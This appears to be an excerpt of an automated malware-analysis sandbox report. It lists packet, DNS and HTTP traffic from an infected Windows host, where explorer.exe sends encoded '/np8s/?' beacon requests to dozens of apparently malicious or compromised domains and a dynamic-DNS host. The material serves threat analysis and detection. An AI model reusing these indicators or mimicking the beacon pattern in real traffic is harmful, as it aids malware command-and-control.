May 27, 2022 18:45:06.342982054 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.342998981 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.343297005 CEST	49958	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:06.511106968 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.511137962 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.512424946 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.513541937 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.602683067 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.602720022 CEST	80	49958	162.0.230.89	192.168.2.5
May 27, 2022 18:45:06.602891922 CEST	49958	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:08.176928997 CEST	49958	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:08.177213907 CEST	49959	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:08.346934080 CEST	80	49959	162.0.230.89	192.168.2.5
May 27, 2022 18:45:08.347187996 CEST	49959	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:08.347321033 CEST	49959	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:08.514626026 CEST	80	49959	162.0.230.89	192.168.2.5
May 27, 2022 18:45:08.586493969 CEST	80	49959	162.0.230.89	192.168.2.5
May 27, 2022 18:45:08.586530924 CEST	80	49959	162.0.230.89	192.168.2.5
May 27, 2022 18:45:08.586658001 CEST	49959	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:10.349404097 CEST	49959	80	192.168.2.5	162.0.230.89
May 27, 2022 18:45:10.516772032 CEST	80	49959	162.0.230.89	192.168.2.5
May 27, 2022 18:45:15.365338087 CEST	49962	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.509924889 CEST	80	49962	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.510071993 CEST	49962	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.510179043 CEST	49962	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.510210991 CEST	49962	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.510431051 CEST	49963	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.653848886 CEST	80	49963	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.654066086 CEST	49963	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.654687881 CEST	80	49962	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.655011892 CEST	80	49962	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.655047894 CEST	80	49962	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.655102015 CEST	49962	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.655136108 CEST	49962	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.656387091 CEST	49963	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.656702042 CEST	49964	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.799501896 CEST	80	49964	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.799665928 CEST	49964	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.799755096 CEST	49964	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.800107956 CEST	80	49963	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.800126076 CEST	80	49963	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.800244093 CEST	80	49963	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.800251961 CEST	49963	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.800319910 CEST	49963	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.800419092 CEST	80	49963	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.800467968 CEST	49963	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.800628901 CEST	80	49963	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.800642967 CEST	80	49963	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.800671101 CEST	49963	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.942264080 CEST	80	49964	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.942406893 CEST	80	49964	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.942425966 CEST	80	49964	170.39.76.27	192.168.2.5
May 27, 2022 18:45:15.942595005 CEST	49964	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:15.942637920 CEST	49964	80	192.168.2.5	170.39.76.27
May 27, 2022 18:45:16.085059881 CEST	80	49964	170.39.76.27	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 27, 2022 18:40:23.576297998 CEST	54322	53	192.168.2.5	8.8.8.8
May 27, 2022 18:40:23.606199980 CEST	53	54322	8.8.8.8	192.168.2.5
May 27, 2022 18:40:37.152708054 CEST	53934	53	192.168.2.5	8.8.8.8
May 27, 2022 18:40:37.357868910 CEST	53	53934	8.8.8.8	192.168.2.5
May 27, 2022 18:40:46.258002043 CEST	63712	53	192.168.2.5	8.8.8.8
May 27, 2022 18:40:46.368906975 CEST	53	63712	8.8.8.8	192.168.2.5
May 27, 2022 18:40:55.693986893 CEST	60969	53	192.168.2.5	8.8.8.8
May 27, 2022 18:40:55.801886082 CEST	53	60969	8.8.8.8	192.168.2.5
May 27, 2022 18:42:05.261799097 CEST	49912	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:05.296097040 CEST	53	49912	8.8.8.8	192.168.2.5
May 27, 2022 18:42:11.838790894 CEST	62648	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:12.339371920 CEST	53	62648	8.8.8.8	192.168.2.5
May 27, 2022 18:42:17.682028055 CEST	55473	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:17.703310013 CEST	53	55473	8.8.8.8	192.168.2.5
May 27, 2022 18:42:23.608829975 CEST	49416	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:23.634542942 CEST	53	49416	8.8.8.8	192.168.2.5
May 27, 2022 18:42:29.487941980 CEST	61126	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:29.511679888 CEST	53	61126	8.8.8.8	192.168.2.5
May 27, 2022 18:42:34.528116941 CEST	54152	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:34.552783012 CEST	53	54152	8.8.8.8	192.168.2.5
May 27, 2022 18:42:39.681524038 CEST	53194	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:40.685030937 CEST	53194	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:41.695749998 CEST	53194	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:43.708076954 CEST	53	53194	8.8.8.8	192.168.2.5
May 27, 2022 18:42:44.711980104 CEST	53	53194	8.8.8.8	192.168.2.5
May 27, 2022 18:42:46.714152098 CEST	53	53194	8.8.8.8	192.168.2.5
May 27, 2022 18:42:48.746814966 CEST	50393	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:48.916855097 CEST	53	50393	8.8.8.8	192.168.2.5
May 27, 2022 18:42:54.298546076 CEST	55870	53	192.168.2.5	8.8.8.8
May 27, 2022 18:42:54.472529888 CEST	53	55870	8.8.8.8	192.168.2.5
May 27, 2022 18:43:00.232038975 CEST	61458	53	192.168.2.5	8.8.8.8
May 27, 2022 18:43:00.324579000 CEST	53	61458	8.8.8.8	192.168.2.5
May 27, 2022 18:43:24.170703888 CEST	55316	53	192.168.2.5	8.8.8.8
May 27, 2022 18:43:24.308945894 CEST	53	55316	8.8.8.8	192.168.2.5
May 27, 2022 18:43:34.985131979 CEST	62706	53	192.168.2.5	8.8.8.8
May 27, 2022 18:43:35.037714005 CEST	53	62706	8.8.8.8	192.168.2.5
May 27, 2022 18:43:40.351139069 CEST	52263	53	192.168.2.5	8.8.8.8
May 27, 2022 18:43:40.389641047 CEST	53	52263	8.8.8.8	192.168.2.5
May 27, 2022 18:43:48.340230942 CEST	59933	53	192.168.2.5	8.8.8.8
May 27, 2022 18:43:48.363925934 CEST	53	59933	8.8.8.8	192.168.2.5
May 27, 2022 18:43:53.504652977 CEST	50829	53	192.168.2.5	8.8.8.8
May 27, 2022 18:43:53.677223921 CEST	53	50829	8.8.8.8	192.168.2.5
May 27, 2022 18:44:11.556072950 CEST	56523	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:11.583956957 CEST	53	56523	8.8.8.8	192.168.2.5
May 27, 2022 18:44:17.278124094 CEST	58904	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:17.446652889 CEST	53	58904	8.8.8.8	192.168.2.5
May 27, 2022 18:44:22.987395048 CEST	55744	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:23.014332056 CEST	53	55744	8.8.8.8	192.168.2.5
May 27, 2022 18:44:28.831376076 CEST	58312	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:28.853545904 CEST	53	58312	8.8.8.8	192.168.2.5
May 27, 2022 18:44:28.855243921 CEST	52511	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:28.877693892 CEST	53	52511	8.8.8.8	192.168.2.5
May 27, 2022 18:44:28.879286051 CEST	56754	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:28.901909113 CEST	53	56754	8.8.8.8	192.168.2.5
May 27, 2022 18:44:33.909610033 CEST	54375	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:34.336025000 CEST	53	54375	8.8.8.8	192.168.2.5
May 27, 2022 18:44:39.692225933 CEST	54252	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:40.705912113 CEST	54252	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:41.721628904 CEST	54252	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:41.728339911 CEST	53	54252	8.8.8.8	192.168.2.5
May 27, 2022 18:44:41.730488062 CEST	51378	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:41.735764027 CEST	53	54252	8.8.8.8	192.168.2.5
May 27, 2022 18:44:41.738681078 CEST	53	54252	8.8.8.8	192.168.2.5
May 27, 2022 18:44:41.813271999 CEST	53	51378	8.8.8.8	192.168.2.5
May 27, 2022 18:44:46.958093882 CEST	53878	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:46.984272003 CEST	53	53878	8.8.8.8	192.168.2.5
May 27, 2022 18:44:52.177602053 CEST	60470	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:52.244136095 CEST	53	60470	8.8.8.8	192.168.2.5
May 27, 2022 18:44:52.246082067 CEST	61637	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:52.287955999 CEST	53	61637	8.8.8.8	192.168.2.5
May 27, 2022 18:44:52.289501905 CEST	52452	53	192.168.2.5	8.8.8.8
May 27, 2022 18:44:52.354617119 CEST	53	52452	8.8.8.8	192.168.2.5
May 27, 2022 18:45:20.945590019 CEST	63301	53	192.168.2.5	8.8.8.8
May 27, 2022 18:45:21.944252968 CEST	63301	53	192.168.2.5	8.8.8.8
May 27, 2022 18:45:22.130119085 CEST	53	63301	8.8.8.8	192.168.2.5
May 27, 2022 18:45:22.132440090 CEST	52530	53	192.168.2.5	8.8.8.8
May 27, 2022 18:45:22.191454887 CEST	53	63301	8.8.8.8	192.168.2.5
May 27, 2022 18:45:22.229511976 CEST	53	52530	8.8.8.8	192.168.2.5
May 27, 2022 18:45:22.231492996 CEST	49901	53	192.168.2.5	8.8.8.8
May 27, 2022 18:45:22.321934938 CEST	53	49901	8.8.8.8	192.168.2.5

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
May 27, 2022 18:42:44.712160110 CEST	192.168.2.5	8.8.8.8	cff8	(Port unreachable)	Destination Unreachable
May 27, 2022 18:42:46.714236975 CEST	192.168.2.5	8.8.8.8	cff8	(Port unreachable)	Destination Unreachable
May 27, 2022 18:44:41.735922098 CEST	192.168.2.5	8.8.8.8	d00b	(Port unreachable)	Destination Unreachable
May 27, 2022 18:45:22.191659927 CEST	192.168.2.5	8.8.8.8	cff4	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
May 27, 2022 18:40:23.576297998 CEST	192.168.2.5	8.8.8.8	0xa8aa	Standard query (0)	dilshadkhan.duia.ro	A (IP address)	IN (0x0001)
May 27, 2022 18:40:37.152708054 CEST	192.168.2.5	8.8.8.8	0xafdd	Standard query (0)	dilshadkhan.duia.ro	A (IP address)	IN (0x0001)
May 27, 2022 18:40:46.258002043 CEST	192.168.2.5	8.8.8.8	0xf7b9	Standard query (0)	dilshadkhan.duia.ro	A (IP address)	IN (0x0001)
May 27, 2022 18:40:55.693986893 CEST	192.168.2.5	8.8.8.8	0x2f29	Standard query (0)	dilshadkhan.duia.ro	A (IP address)	IN (0x0001)
May 27, 2022 18:42:05.261799097 CEST	192.168.2.5	8.8.8.8	0xb45a	Standard query (0)	www.rasheedabossmoves.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:11.838790894 CEST	192.168.2.5	8.8.8.8	0x39b0	Standard query (0)	www.84866.xyz	A (IP address)	IN (0x0001)
May 27, 2022 18:42:17.682028055 CEST	192.168.2.5	8.8.8.8	0xcf99	Standard query (0)	www.sekolahkejepang.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:23.608829975 CEST	192.168.2.5	8.8.8.8	0x198e	Standard query (0)	www.refreshertowels.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:29.487941980 CEST	192.168.2.5	8.8.8.8	0x2230	Standard query (0)	www.hengyuejiguang.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:34.528116941 CEST	192.168.2.5	8.8.8.8	0xf9ef	Standard query (0)	www.medyumgalip.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:39.681524038 CEST	192.168.2.5	8.8.8.8	0x8294	Standard query (0)	www.gafcbooster.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:40.685030937 CEST	192.168.2.5	8.8.8.8	0x8294	Standard query (0)	www.gafcbooster.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:41.695749998 CEST	192.168.2.5	8.8.8.8	0x8294	Standard query (0)	www.gafcbooster.com	A (IP address)	IN (0x0001)
May 27, 2022 18:42:48.746814966 CEST	192.168.2.5	8.8.8.8	0x58aa	Standard query (0)	www.halecamilla.site	A (IP address)	IN (0x0001)
May 27, 2022 18:42:54.298546076 CEST	192.168.2.5	8.8.8.8	0x5121	Standard query (0)	www.ratebill.com	A (IP address)	IN (0x0001)
May 27, 2022 18:43:00.232038975 CEST	192.168.2.5	8.8.8.8	0x97c5	Standard query (0)	www.topings33.com	A (IP address)	IN (0x0001)
May 27, 2022 18:43:24.170703888 CEST	192.168.2.5	8.8.8.8	0x4865	Standard query (0)	www.jlbwaterdamagerepairseattle.com	A (IP address)	IN (0x0001)
May 27, 2022 18:43:34.985131979 CEST	192.168.2.5	8.8.8.8	0x6fe8	Standard query (0)	www.localbloom.online	A (IP address)	IN (0x0001)
May 27, 2022 18:43:40.351139069 CEST	192.168.2.5	8.8.8.8	0x4be4	Standard query (0)	www.brawlhallacodestore.com	A (IP address)	IN (0x0001)
May 27, 2022 18:43:48.340230942 CEST	192.168.2.5	8.8.8.8	0x864b	Standard query (0)	www.pdwfifi.com	A (IP address)	IN (0x0001)
May 27, 2022 18:43:53.504652977 CEST	192.168.2.5	8.8.8.8	0x172b	Standard query (0)	www.68chengxinle.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:11.556072950 CEST	192.168.2.5	8.8.8.8	0x58f3	Standard query (0)	www.refreshertowels.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:17.278124094 CEST	192.168.2.5	8.8.8.8	0xc007	Standard query (0)	www.muddybootslife.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:22.987395048 CEST	192.168.2.5	8.8.8.8	0x9a64	Standard query (0)	www.o7oiwlp.xyz	A (IP address)	IN (0x0001)
May 27, 2022 18:44:28.831376076 CEST	192.168.2.5	8.8.8.8	0xc5c3	Standard query (0)	www.spxtokensales.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:28.855243921 CEST	192.168.2.5	8.8.8.8	0xaad6	Standard query (0)	www.spxtokensales.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:28.879286051 CEST	192.168.2.5	8.8.8.8	0x8d67	Standard query (0)	www.spxtokensales.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:33.909610033 CEST	192.168.2.5	8.8.8.8	0x5592	Standard query (0)	www.84866.xyz	A (IP address)	IN (0x0001)
May 27, 2022 18:44:39.692225933 CEST	192.168.2.5	8.8.8.8	0x5e70	Standard query (0)	www.tentanguang.online	A (IP address)	IN (0x0001)
May 27, 2022 18:44:40.705912113 CEST	192.168.2.5	8.8.8.8	0x5e70	Standard query (0)	www.tentanguang.online	A (IP address)	IN (0x0001)
May 27, 2022 18:44:41.721628904 CEST	192.168.2.5	8.8.8.8	0x5e70	Standard query (0)	www.tentanguang.online	A (IP address)	IN (0x0001)
May 27, 2022 18:44:41.730488062 CEST	192.168.2.5	8.8.8.8	0x1f80	Standard query (0)	www.tentanguang.online	A (IP address)	IN (0x0001)
May 27, 2022 18:44:46.958093882 CEST	192.168.2.5	8.8.8.8	0x4c8d	Standard query (0)	www.localbloom.online	A (IP address)	IN (0x0001)
May 27, 2022 18:44:52.177602053 CEST	192.168.2.5	8.8.8.8	0xe6cc	Standard query (0)	www.mysbaally.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:52.246082067 CEST	192.168.2.5	8.8.8.8	0x5556	Standard query (0)	www.mysbaally.com	A (IP address)	IN (0x0001)
May 27, 2022 18:44:52.289501905 CEST	192.168.2.5	8.8.8.8	0xb55b	Standard query (0)	www.mysbaally.com	A (IP address)	IN (0x0001)
May 27, 2022 18:45:20.945590019 CEST	192.168.2.5	8.8.8.8	0x6638	Standard query (0)	www.wps-mtb.com	A (IP address)	IN (0x0001)
May 27, 2022 18:45:21.944252968 CEST	192.168.2.5	8.8.8.8	0x6638	Standard query (0)	www.wps-mtb.com	A (IP address)	IN (0x0001)
May 27, 2022 18:45:22.132440090 CEST	192.168.2.5	8.8.8.8	0xe9a5	Standard query (0)	www.wps-mtb.com	A (IP address)	IN (0x0001)
May 27, 2022 18:45:22.231492996 CEST	192.168.2.5	8.8.8.8	0xb331	Standard query (0)	www.wps-mtb.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
May 27, 2022 18:40:23.606199980 CEST	8.8.8.8	192.168.2.5	0xa8aa	No error (0)	dilshadkhan.duia.ro		91.193.75.133	A (IP address)	IN (0x0001)
May 27, 2022 18:40:37.357868910 CEST	8.8.8.8	192.168.2.5	0xafdd	No error (0)	dilshadkhan.duia.ro		91.193.75.133	A (IP address)	IN (0x0001)
May 27, 2022 18:40:46.368906975 CEST	8.8.8.8	192.168.2.5	0xf7b9	No error (0)	dilshadkhan.duia.ro		91.193.75.133	A (IP address)	IN (0x0001)
May 27, 2022 18:40:55.801886082 CEST	8.8.8.8	192.168.2.5	0x2f29	No error (0)	dilshadkhan.duia.ro		91.193.75.133	A (IP address)	IN (0x0001)
May 27, 2022 18:42:05.296097040 CEST	8.8.8.8	192.168.2.5	0xb45a	No error (0)	www.rasheedabossmoves.com	rasheedabossmoves.com		CNAME (Canonical name)	IN (0x0001)
May 27, 2022 18:42:05.296097040 CEST	8.8.8.8	192.168.2.5	0xb45a	No error (0)	rasheedabossmoves.com		160.153.136.3	A (IP address)	IN (0x0001)
May 27, 2022 18:42:12.339371920 CEST	8.8.8.8	192.168.2.5	0x39b0	No error (0)	www.84866.xyz		35.241.47.216	A (IP address)	IN (0x0001)
May 27, 2022 18:42:17.703310013 CEST	8.8.8.8	192.168.2.5	0xcf99	No error (0)	www.sekolahkejepang.com	sekolahkejepang.com		CNAME (Canonical name)	IN (0x0001)
May 27, 2022 18:42:17.703310013 CEST	8.8.8.8	192.168.2.5	0xcf99	No error (0)	sekolahkejepang.com		103.247.11.212	A (IP address)	IN (0x0001)
May 27, 2022 18:42:23.634542942 CEST	8.8.8.8	192.168.2.5	0x198e	No error (0)	www.refreshertowels.com		23.231.99.207	A (IP address)	IN (0x0001)
May 27, 2022 18:42:29.511679888 CEST	8.8.8.8	192.168.2.5	0x2230	Name error (3)	www.hengyuejiguang.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:42:34.552783012 CEST	8.8.8.8	192.168.2.5	0xf9ef	No error (0)	www.medyumgalip.com		172.67.140.71	A (IP address)	IN (0x0001)
May 27, 2022 18:42:34.552783012 CEST	8.8.8.8	192.168.2.5	0xf9ef	No error (0)	www.medyumgalip.com		104.21.8.218	A (IP address)	IN (0x0001)
May 27, 2022 18:42:43.708076954 CEST	8.8.8.8	192.168.2.5	0x8294	Server failure (2)	www.gafcbooster.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:42:44.711980104 CEST	8.8.8.8	192.168.2.5	0x8294	Server failure (2)	www.gafcbooster.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:42:46.714152098 CEST	8.8.8.8	192.168.2.5	0x8294	Server failure (2)	www.gafcbooster.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:42:48.916855097 CEST	8.8.8.8	192.168.2.5	0x58aa	No error (0)	www.halecamilla.site	halecamilla.site		CNAME (Canonical name)	IN (0x0001)
May 27, 2022 18:42:48.916855097 CEST	8.8.8.8	192.168.2.5	0x58aa	No error (0)	halecamilla.site		207.174.214.35	A (IP address)	IN (0x0001)
May 27, 2022 18:42:54.472529888 CEST	8.8.8.8	192.168.2.5	0x5121	No error (0)	www.ratebill.com		137.220.133.198	A (IP address)	IN (0x0001)
May 27, 2022 18:43:00.324579000 CEST	8.8.8.8	192.168.2.5	0x97c5	No error (0)	www.topings33.com		162.0.230.89	A (IP address)	IN (0x0001)
May 27, 2022 18:43:24.308945894 CEST	8.8.8.8	192.168.2.5	0x4865	No error (0)	www.jlbwaterdamagerepairseattle.com		170.39.76.27	A (IP address)	IN (0x0001)
May 27, 2022 18:43:35.037714005 CEST	8.8.8.8	192.168.2.5	0x6fe8	No error (0)	www.localbloom.online		185.134.245.113	A (IP address)	IN (0x0001)
May 27, 2022 18:43:40.389641047 CEST	8.8.8.8	192.168.2.5	0x4be4	No error (0)	www.brawlhallacodestore.com	shop.freewebstore.org		CNAME (Canonical name)	IN (0x0001)
May 27, 2022 18:43:40.389641047 CEST	8.8.8.8	192.168.2.5	0x4be4	No error (0)	shop.freewebstore.org		52.17.85.125	A (IP address)	IN (0x0001)
May 27, 2022 18:43:48.363925934 CEST	8.8.8.8	192.168.2.5	0x864b	No error (0)	www.pdwfifi.com		185.53.179.171	A (IP address)	IN (0x0001)
May 27, 2022 18:43:53.677223921 CEST	8.8.8.8	192.168.2.5	0x172b	No error (0)	www.68chengxinle.com		45.39.111.146	A (IP address)	IN (0x0001)
May 27, 2022 18:44:11.583956957 CEST	8.8.8.8	192.168.2.5	0x58f3	No error (0)	www.refreshertowels.com		23.231.99.207	A (IP address)	IN (0x0001)
May 27, 2022 18:44:17.446652889 CEST	8.8.8.8	192.168.2.5	0xc007	No error (0)	www.muddybootslife.com	muddybootslife.com		CNAME (Canonical name)	IN (0x0001)
May 27, 2022 18:44:17.446652889 CEST	8.8.8.8	192.168.2.5	0xc007	No error (0)	muddybootslife.com		66.235.200.145	A (IP address)	IN (0x0001)
May 27, 2022 18:44:23.014332056 CEST	8.8.8.8	192.168.2.5	0x9a64	No error (0)	www.o7oiwlp.xyz		134.122.201.217	A (IP address)	IN (0x0001)
May 27, 2022 18:44:28.853545904 CEST	8.8.8.8	192.168.2.5	0xc5c3	Name error (3)	www.spxtokensales.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:44:28.877693892 CEST	8.8.8.8	192.168.2.5	0xaad6	Name error (3)	www.spxtokensales.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:44:28.901909113 CEST	8.8.8.8	192.168.2.5	0x8d67	Name error (3)	www.spxtokensales.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:44:34.336025000 CEST	8.8.8.8	192.168.2.5	0x5592	No error (0)	www.84866.xyz		35.241.47.216	A (IP address)	IN (0x0001)
May 27, 2022 18:44:41.728339911 CEST	8.8.8.8	192.168.2.5	0x5e70	Server failure (2)	www.tentanguang.online	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:44:41.735764027 CEST	8.8.8.8	192.168.2.5	0x5e70	No error (0)	www.tentanguang.online		185.27.134.149	A (IP address)	IN (0x0001)
May 27, 2022 18:44:41.738681078 CEST	8.8.8.8	192.168.2.5	0x5e70	No error (0)	www.tentanguang.online		185.27.134.149	A (IP address)	IN (0x0001)
May 27, 2022 18:44:41.813271999 CEST	8.8.8.8	192.168.2.5	0x1f80	No error (0)	www.tentanguang.online		185.27.134.149	A (IP address)	IN (0x0001)
May 27, 2022 18:44:46.984272003 CEST	8.8.8.8	192.168.2.5	0x4c8d	No error (0)	www.localbloom.online		185.134.245.113	A (IP address)	IN (0x0001)
May 27, 2022 18:44:52.244136095 CEST	8.8.8.8	192.168.2.5	0xe6cc	Name error (3)	www.mysbaally.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:44:52.287955999 CEST	8.8.8.8	192.168.2.5	0x5556	Name error (3)	www.mysbaally.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:44:52.354617119 CEST	8.8.8.8	192.168.2.5	0xb55b	Name error (3)	www.mysbaally.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:45:22.130119085 CEST	8.8.8.8	192.168.2.5	0x6638	Server failure (2)	www.wps-mtb.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:45:22.191454887 CEST	8.8.8.8	192.168.2.5	0x6638	Server failure (2)	www.wps-mtb.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:45:22.229511976 CEST	8.8.8.8	192.168.2.5	0xe9a5	Server failure (2)	www.wps-mtb.com	none	none	A (IP address)	IN (0x0001)
May 27, 2022 18:45:22.321934938 CEST	8.8.8.8	192.168.2.5	0xb331	Server failure (2)	www.wps-mtb.com	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.rasheedabossmoves.com

www.84866.xyz

www.sekolahkejepang.com

www.refreshertowels.com

www.medyumgalip.com

www.halecamilla.site

www.ratebill.com

www.topings33.com

www.jlbwaterdamagerepairseattle.com

www.localbloom.online

www.brawlhallacodestore.com

www.pdwfifi.com

www.68chengxinle.com

www.muddybootslife.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49830	160.153.136.3	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:42:06.776382923 CEST	910	OUT	GET /np8s/?4hM4=o4B0f&zVB=pvCvVC1srqMzTu3vjZ/Pi4S7puQ7WYlroZs2vwEH9SE4BkgUF4SEMyF7Qq3EYWraDKw9 HTTP/1.1 Host: www.rasheedabossmoves.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:42:06.806461096 CEST	910	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49840	35.241.47.216	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 27, 2022 18:42:12.360888004 CEST	992	OUT	GET /np8s/?zVB=LP9EI17xKnNeim8nLd+KxbxmCUjQ+ejx+5/wYAWzXpI6ry2rccLFMoZPirUOcSWhDiha&4hM4=o4B0f HTTP/1.1 Host: www.84866.xyz Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 27, 2022 18:42:12.665857077 CEST	993	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Fri, 27 May 2022 16:42:12 GMT Content-Type: text/html Content-Length: 5248 Last-Modified: Fri, 11 Mar 2022 02:41:55 GMT Vary: Accept-Encoding ETag: "622ab6f3-1480" Cache-Control: no-cache Accept-Ranges: bytes Via: 1.1 google Connection: close Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 7a 68 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 77 70 6b 52 65 70 6f 72 74 65 72 2e 6a 73 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 74 72 75 65 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 67 2e 61 6c 69 63 64 6e 2e 63 6f 6d 2f 77 6f 6f 64 70 65 63 6b 65 72 78 2f 6a 73 73 64 6b 2f 70 6c 75 67 69 6e 73 2f 67 6c 6f 62 61 6c 65 72 72 6f 72 